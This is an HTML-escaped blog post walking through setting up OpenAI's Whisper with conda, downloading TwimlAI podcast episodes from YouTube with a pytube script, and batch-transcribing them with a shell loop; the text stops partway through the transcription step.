&lt;h2 id=&#34;transcription-with-whisper&#34;&gt;Transcription with Whisper&lt;/h2&gt;
&lt;p&gt;I figured, one of the best ways to try out the Whisper model and run it through its paces is to try a bunch of transcription - and that too on something fairly technical , where the language isn&amp;rsquo;t typical in the broader sense of spoken english. And what better way to test AI is to use something that talks about AI. To that end, I used &lt;a
	
		href = &#34;https://twitter.com/samcharrington&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Sam Charrington
	&lt;/span&gt;
&lt;/a&gt;&amp;rsquo;s popular &lt;a
	
		href = &#34;https://twimlai.com/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		TwimlAI podcast
	&lt;/span&gt;
&lt;/a&gt; as the guinea pig. 😄&lt;/p&gt;
&lt;p&gt;Now on one hand, it seems pretty easy to install Whisper (it is a pip install) and run it on a single audio file.
&lt;blockquote class=&#34;twitter-tweet&#34; data-width=&#34;550&#34; data-height=&#34;600&#34;&gt;
  &lt;p lang=&#34;en&#34; dir=&#34;ltr&#34;&gt;
    &lt;a href=&#34;https://twitter.com/bahree/status/1580695321960906752?ref_src=twsrc%5Etfw&#34;&gt;
      Loading tweet from @bahree...
    &lt;/a&gt;
  &lt;/p&gt;
  &lt;a href=&#34;https://twitter.com/bahree/status/1580695321960906752?ref_src=twsrc%5Etfw&#34; class=&#34;twitter-tweet-link&#34;&gt;
    View on Twitter
  &lt;/a&gt;
&lt;/blockquote&gt;
&lt;script async src=&#34;https://platform.twitter.com/widgets.js&#34; charset=&#34;utf-8&#34;&gt;&lt;/script&gt;
&lt;/p&gt;
&lt;p&gt;The reality is that there are a lot of dependencies and it is not as easy as it seems.
&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/whisper-2.png&#34; alt=&#34;Whisper runtime issues&#34;/&gt;
        &lt;figcaption&gt;Whisper runtime issues&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;However, I did manage to resolve everything and get it working - and the results were pretty good.👍
&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/whisper-3.png&#34; alt=&#34;Whisper transcription&#34;/&gt;
        &lt;figcaption&gt;Whisper transcription&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;But I wanted to see how well it would work on a large corpus of audio files. So I wrote a simple script that would download all the episodes of TwimlAI from YouTube as mp3, and then transcribe them using the Whisper model. As of writing this, there are 547 episodes of TwimlAI and all of those transcriber to my github repo &lt;a
	
		href = &#34;https://github.com/bahree/whisper&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		here.
	&lt;/span&gt;
&lt;/a&gt;. Each episode has three resulting files when transcribed:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;txt file - there is a text file which contains the transcript&lt;/li&gt;
&lt;li&gt;srt file - this is the subrip subtitle file which can be used to add subtitles to the audio file&lt;/li&gt;
&lt;li&gt;vtt file - this is WebVTT file (web video test to track file) and contains the transcript and the time codes that sync the captions.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;You can get all the transcripts which can either be downloaded as the zip file &lt;code&gt;twiml-episodes-whisper-transcribed.zip&lt;/code&gt; 💾 or they are also in the folder &lt;code&gt;twiml-episodes-whisper-transcribed&lt;/code&gt; 📁 in the github repo &lt;a
	
		href = &#34;https://github.com/bahree/whisper&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		here.
	&lt;/span&gt;
&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;I also transcribed one file using both the To show the difference the base and the large model. You can find both versions in the folder &lt;code&gt;model-comparison&lt;/code&gt; 📁 of one specific episode - &lt;em&gt;#544 - #AI Trends 2023 - AI Trends 2023: Natural Language Proc – ChatGPT, GPT-4 and Cutting Edge Research with Sameer Singh&lt;/em&gt;. Not to get into all the details, but the transcription using the large model was approx 120 lines longer. The image below shows you an eagle view of the difference between the two transcriptions - there are a lot of differences in the text, and the quality is much better on the large model.
&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/whisper-4.jpg&#34; alt=&#34;Transcription delta between base and large models&#34;/&gt;
        &lt;figcaption&gt;Transcription delta between base and large models&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;h2 id=&#34;steps-to-run-this-locally&#34;&gt;Steps to run this locally&lt;/h2&gt;
&lt;p&gt;If you want to run this locally, start by cloning the &lt;a
	
		href = &#34;https://github.com/bahree/whisper&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		repo
	&lt;/span&gt;
&lt;/a&gt;. It is best to use &lt;a
	
		href = &#34;https://docs.conda.io/en/latest/index.html&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		conda
	&lt;/span&gt;
&lt;/a&gt; to get the dependencies managed. I prefer &lt;a
	
		href = &#34;https://docs.conda.io/en/latest/miniconda.html&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Miniconda
	&lt;/span&gt;
&lt;/a&gt;, but you can use any conda installation. The next set of steps assumes that you have conda installed; see the &lt;a
	
		href = &#34;https://docs.conda.io/projects/conda/en/latest/user-guide/install/download.html&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		docs
	&lt;/span&gt;
&lt;/a&gt; if you need help installing.&lt;/p&gt;
&lt;h3 id=&#34;step-1-create-a-conda-environment&#34;&gt;Step 1: Create a conda environment&lt;/h3&gt;
&lt;p&gt;I am running this on Ubuntu 22.0.01 LTS (Jammy Jellyfish) and am using an NVidia RTX 3090 GPU. I am also running Python 3.8.5.&lt;/p&gt;
&lt;p&gt;Create a conda environment and install the dependencies. I have included the &lt;code&gt;environment.yml&lt;/code&gt; file in the repo, which you can use to create the environment. The name of the environment can be changed to anything; I use &lt;code&gt;whisper&lt;/code&gt; in my case.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-yaml&#34; data-lang=&#34;yaml&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;name&lt;/span&gt;: whisper
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;channels&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;- pytorch
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;- defaults
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;dependencies&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;- cudatoolkit=11.3
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;- git
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;- numpy=1.22.3
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;- pip=20.3
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;- python=3.8.5
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;- pytorch=1.11.0
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;- scikit-image=0.19.2
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;- torchvision=0.12.0
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;- &lt;span style=&#34;color:#c6a0f6&#34;&gt;pip&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  - -r requirements.txt&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Once conda is installed, you run the following command to create the environment:
&lt;code&gt;conda env create -f environment.yaml&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;And you would sees something like this as the output:
&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/whisper-5.png&#34; alt=&#34;Conda environment creation&#34;/&gt;
        &lt;figcaption&gt;Conda environment creation&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;h3 id=&#34;step-2-activate-the-environment&#34;&gt;Step 2: Activate the environment&lt;/h3&gt;
&lt;p&gt;If the &lt;code&gt;whisper&lt;/code&gt; environment if not already active, can be activate it by running the following command:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-shell&#34; data-lang=&#34;shell&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;conda activate whisper&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3 id=&#34;step-3-install-the-whisper-model&#34;&gt;Step 3: Install the Whisper model&lt;/h3&gt;
&lt;p&gt;The next step is to install the Whisper model in the environment. This is a &lt;a
	
		href = &#34;https://github.com/openai/whisper&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		pip install
	&lt;/span&gt;
&lt;/a&gt;, and you can run the following command to install it:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-shell&#34; data-lang=&#34;shell&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;pip install git+https://github.com/openai/whisper.git &lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;The output should look something like this - note the exact details most likely will be different.
&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/whisper-6.png&#34; alt=&#34;Whisper model installation&#34;/&gt;
        &lt;figcaption&gt;Whisper model installation&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;h3 id=&#34;step-4-download-the-twimlai-episodes&#34;&gt;Step 4: Download the TwimlAI episodes&lt;/h3&gt;
&lt;p&gt;The next step is to download the TwimlAI episodes. I have written a python program to do this. This downloads the episodes from YouTube and saves them as mp3 files. You can download all the episodes, or a single one. I also had to update this to use a local file to get around some issues that PyTube was having. You can find the program in the &lt;code&gt;download_episodes.py&lt;/code&gt; file in the repo. You can run the program by running the following command:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-shell&#34; data-lang=&#34;shell&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;python ./download_episodes.py&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;You will see the following output:
&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/whisper-7.png&#34; alt=&#34;Menu&#34;/&gt;
        &lt;figcaption&gt;Menu&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;I would suggest using Option 4 - Using a local playlist. The file &lt;code&gt;twiml-episodes.txt&lt;/code&gt; 🗒️already contains the list of all the episodes. By default the episodes will be downloaded as mp3&amp;rsquo;s into a folder called &lt;code&gt;twiml-episodes&lt;/code&gt; 📁. You can change the folder name by editing the &lt;code&gt;download_episodes.py&lt;/code&gt; file.&lt;/p&gt;
&lt;p&gt;Here is the code snippet that downloads the episodes:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Download all the videos from the local playlist text and save it as a mp3 file&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#8aadf4&#34;&gt;downloadVideoFromLocalPlaylist&lt;/span&gt;(playlist_name, mp3_path):
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;with&lt;/span&gt; &lt;span style=&#34;color:#91d7e3&#34;&gt;open&lt;/span&gt;(playlist_name, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;r&amp;#39;&lt;/span&gt;, encoding&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;utf8&amp;#34;&lt;/span&gt;) &lt;span style=&#34;color:#c6a0f6&#34;&gt;as&lt;/span&gt; f:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        reader &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; csv&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;reader(f, delimiter&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;|&amp;#39;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        index &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        fileSaved &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#c6a0f6&#34;&gt;for&lt;/span&gt; row &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;in&lt;/span&gt; reader:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# following is used to skip over episodes that have already been downloaded&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# if index &amp;lt; 526:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;#     print(&amp;#34;Skiping ... # &amp;#34; + str(index))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;#     index += 1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;#     continue&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# print(&amp;#34;Episode: &amp;#34; + row[0], &amp;#34;Title:&amp;#34; + row[1], &amp;#34;URL:&amp;#34; + row[2])&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            episode &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; row[&lt;span style=&#34;color:#f5a97f&#34;&gt;0&lt;/span&gt;]
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            title &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; row[&lt;span style=&#34;color:#f5a97f&#34;&gt;1&lt;/span&gt;]
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            url &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; row[&lt;span style=&#34;color:#f5a97f&#34;&gt;2&lt;/span&gt;]
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#91d7e3&#34;&gt;print&lt;/span&gt;(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#8aadf4&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;Downloading Episode #&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;+&lt;/span&gt; episode &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;+&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34; ... &amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;+&lt;/span&gt; title)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;try&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;               tempFileName &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; validFilename(&lt;span style=&#34;color:#91d7e3&#34;&gt;str&lt;/span&gt;(index) &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;+&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;_&amp;#39;&lt;/span&gt; &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;+&lt;/span&gt; title &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;+&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;.mp3&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;               downloadVideo(url, mp3_path, tempFileName)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;               fileSaved &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;+=&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;1&lt;/span&gt;        
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;except&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;IOError&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                &lt;span style=&#34;color:#91d7e3&#34;&gt;print&lt;/span&gt;(&lt;span style=&#34;color:#ed8796&#34;&gt;f&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;{&lt;/span&gt;textColors&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;FAIL&lt;span style=&#34;color:#a6da95&#34;&gt;}&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;Error: can&lt;/span&gt;&lt;span style=&#34;color:#8aadf4&#34;&gt;\&amp;#39;&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;t save the following file. Most likely it has an invalid character in the name.&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;{&lt;/span&gt;textColors&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;RESET&lt;span style=&#34;color:#a6da95&#34;&gt;}&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                &lt;span style=&#34;color:#91d7e3&#34;&gt;print&lt;/span&gt;(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;File: &amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;+&lt;/span&gt; tempFileName)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;except&lt;/span&gt; VideoUnavailable:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                &lt;span style=&#34;color:#91d7e3&#34;&gt;print&lt;/span&gt;(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;{textColors.FAIL}&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;Video: &amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;+&lt;/span&gt; tempFileName &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;+&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34; is unavailable, skipping.&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;{textColors.RESET}&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;except&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                &lt;span style=&#34;color:#91d7e3&#34;&gt;print&lt;/span&gt;(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;{textColors.FAIL}&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;Unexpected error: &amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;+&lt;/span&gt; sys&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;exc_info()[&lt;span style=&#34;color:#f5a97f&#34;&gt;0&lt;/span&gt;] &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;+&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;{textColors.RESET}&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#91d7e3&#34;&gt;print&lt;/span&gt;(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Download complete. Number of episodes saved: &amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;+&lt;/span&gt; &lt;span style=&#34;color:#91d7e3&#34;&gt;str&lt;/span&gt;(fileSaved))
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            index &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;+=&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# download mp3 from youtube&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#8aadf4&#34;&gt;downloadVideo&lt;/span&gt;(video_url, mp3_location, filenametoSave):
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    yt &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; YouTube(video_url)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    yt&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;register_on_progress_callback(fancy_progress_bar)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    yt&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;streams&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;filter(only_audio&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#f5a97f&#34;&gt;True&lt;/span&gt;)&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;first()&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;download(output_path&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;mp3_location,filename&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;filenametoSave)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;The reason the options fail randomly is because of a change that YouTube made. At the time of this post, the way they render the page breaks things and one cannot get the title. You will see an error related to the video title not being found.
&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/whisper-8.png&#34; alt=&#34;Title not found error&#34;/&gt;
        &lt;figcaption&gt;Title not found error&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;h3 id=&#34;step-5-running-transcription&#34;&gt;Step 5: Running transcription&lt;/h3&gt;
&lt;p&gt;Finally you can transcribe the episodes. The &lt;code&gt;transcribe.sh&lt;/code&gt; file in the repo contains the code to do this and it simply loops over the &lt;code&gt;twiml-episodes&lt;/code&gt; folder and one-by-one processes the mp3 files. The output is saved in the &lt;code&gt;out&lt;/code&gt; folder 📁. The shell script is as follows:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-shell&#34; data-lang=&#34;shell&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;for&lt;/span&gt; f in twiml-episodes/*.mp3 ; &lt;span style=&#34;color:#c6a0f6&#34;&gt;do&lt;/span&gt; whisper --language en --model base -o out -- &lt;span style=&#34;color:#f4dbd6&#34;&gt;$f&lt;/span&gt;; &lt;span style=&#34;color:#c6a0f6&#34;&gt;done&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Here is what the transcription looks like when it is running:
&lt;p&gt;

    &lt;figure&gt;
